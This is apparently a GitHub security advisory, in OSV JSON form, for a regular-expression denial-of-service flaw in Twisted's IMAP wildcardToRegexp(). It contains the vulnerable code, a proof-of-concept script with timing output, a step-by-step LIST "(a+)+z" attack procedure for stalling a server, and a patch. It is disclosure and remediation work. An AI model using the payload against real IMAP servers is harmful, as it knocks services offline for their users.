{"id":"GHSA-8pqf-f4m5-798g","summary":"Twisted: IMAP wildcardToRegexp() ReDoS","details":"### Summary\n`wildcardToRegexp()` in `twisted/mail/imap4.py` converts IMAP LIST/LSUB wildcard patterns to Python regular expressions.  It substitutes the two IMAP wildcards (`*` → `(?:.*?)` and `%` → `(?:(?:[^\\\\/])*?)`) but passes every other character through unchanged to `re.compile()`.  This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as `(a+)+z`.\n\nBecause Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes **all** I/O on the server for the duration of the match.\n\n---\n\n## Vulnerable Code\n\n### `twisted/mail/imap4.py`\n\n```python\n# line 4595\ndef wildcardToRegexp(wildcard, delim=None):\n    wildcard = wildcard.replace(\"*\", \"(?:.*?)\")\n    if delim is None:\n        wildcard = wildcard.replace(\"%\", \"(?:.*?)\")\n    else:\n        wildcard = wildcard.replace(\"%\", \"(?:(?:[^%s])*?)\" % re.escape(delim))\n    return re.compile(wildcard, re.I)   # ← user input compiled verbatim\n```\n\n```python\n# line 4993\nclass MemoryAccountWithoutNamespaces:\n    def listMailboxes(self, ref, wildcard):\n        ref = self._inferiorNames(_parseMbox(ref.upper()))\n        wildcard = wildcardToRegexp(wildcard, \"/\")   # ← user-supplied wildcard\n        return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]\n```\n---\n\n### Proof of Concept\n\n```python\nfrom twisted.mail.imap4 import wildcardToRegexp\nimport time\n\nrx = wildcardToRegexp(\"(a+)+z\", \"/\")\nfor n in [20, 22, 24, 26, 28]:\n    victim = \"a\" * n\n    t0 = time.perf_counter()\n    rx.match(victim)\n    print(f\"n={n}: {time.perf_counter() - t0:.3f}s\")\n```\n\n**Output on Twisted 25.5.0:**\n\n```\n[*] Compiled regex: '(a+)+z'\n[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()\n\n    n        time\n  ---  ----------\n   20       0.153s\n   22       0.651s\n   24       2.941s\n   26      14.545s\n   28      55.019s\n```\n\nTiming doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.\n\n---\n\n## Impact\n\nTwisted's reactor is single-threaded and cooperative.  A blocking `re.match()` call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs.  A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.\n\nAn attacker who can register an account (or obtain credentials through other means) can:\n\n1. `CREATE` a mailbox whose name is an exponential-blowup trigger string.\n2. Issue `LIST \"\" \"(a+)+z\"` (or equivalent ReDoS pattern).\n3. Repeat at ~1-minute intervals to keep the server permanently unavailable.\n\nNo exploit code or special privileges beyond an IMAP login are required.\n\n---\n\n## Fix\n\nEscape non-wildcard characters before compiling:\n\n```python\ndef wildcardToRegexp(wildcard, delim=None):\n    # Split on the two IMAP wildcards, escape everything else\n    parts = re.split(r'([*%])', wildcard)\n    result = []\n    for p in parts:\n        if p == '*':\n            result.append('(?:.*?)')\n        elif p == '%':\n            if delim is None:\n                result.append('(?:.*?)')\n            else:\n                result.append('(?:(?:[^%s])*?)' % re.escape(delim))\n        else:\n            result.append(re.escape(p))   # ← escape all other characters\n    return re.compile(''.join(result), re.I)\n```\n\nAlternatively, apply `re.escape()` to the entire wildcard first, then substitute the (now-escaped) `\\*` and `\\%` tokens back with their regex equivalents.","aliases":["CVE-2026-106454"],"modified":"2026-10-07T16:30:04.789439479Z","published":"2026-10-07T16:18:30Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-07T16:18:30Z","nvd_published_at":"2026-10-06T20:17:27Z","cwe_ids":["CWE-1333"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-8pqf-f4m5-798g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106454"},{"type":"WEB","url":"https://github.com/twisted/twisted/pull/12788"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/2f8a3c29246f4eb324690e06a9767a11dc4aec9f"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"}],"affected":[{"package":{"name":"twisted","ecosystem":"PyPI","purl":"pkg:pypi/twisted"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.5.0"}]}],"versions":["1.0.1","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.1.0","1.1.1","1.2.0","10.0.0","10.1.0","10.2.0","11.0.0","11.1.0","12.0.0","12.1.0","12.2.0","12.3.0","13.0.0","13.1.0","13.2.0","14.0.0","14.0.1","14.0.2","15.0.0","15.1.0","15.2.0","15.2.1","15.3.0","15.4.0","15.5.0","16.0.0","16.1.0","16.1.1","16.2.0","16.3.0","16.3.1","16.3.2","16.4.0","16.4.1","16.5.0","16.5.0rc1","16.5.0rc2","16.6.0","16.6.0rc1","16.7.0rc1","16.7.0rc2","17.1.0","17.1.0rc1","17.5.0","17.9.0","17.9.0rc1","18.4.0","18.4.0rc1","18.7.0","18.7.0rc1","18.7.0rc2","18.9.0","18.9.0rc1","19.10.0","19.10.0rc1","19.2.0","19.2.0rc1","19.2.0rc2","19.2.1","19.7.0","19.7.0rc1","2.1.0","2.4.0","2.5.0","20.3.0","20.3.0rc1","21.2.0","21.2.0rc1","21.7.0","21.7.0rc1","21.7.0rc2","21.7.0rc3","22.1.0","22.1.0rc1","22.10.0","22.10.0rc1","22.2.0","22.2.0rc1","22.4.0","22.4.0rc1","22.8.0","22.8.0rc1","23.10.0","23.10.0rc1","23.8.0","23.8.0rc1","24.10.0","24.10.0rc1","24.11.0","24.11.0rc1","24.11.0rc2","24.2.0rc1","24.3.0","24.7.0","24.7.0rc1","24.7.0rc2","25.5.0","25.5.0rc1","8.0.0","8.0.1","8.1.0","8.2.0","9.0.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-8pqf-f4m5-798g/GHSA-8pqf-f4m5-798g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"}]}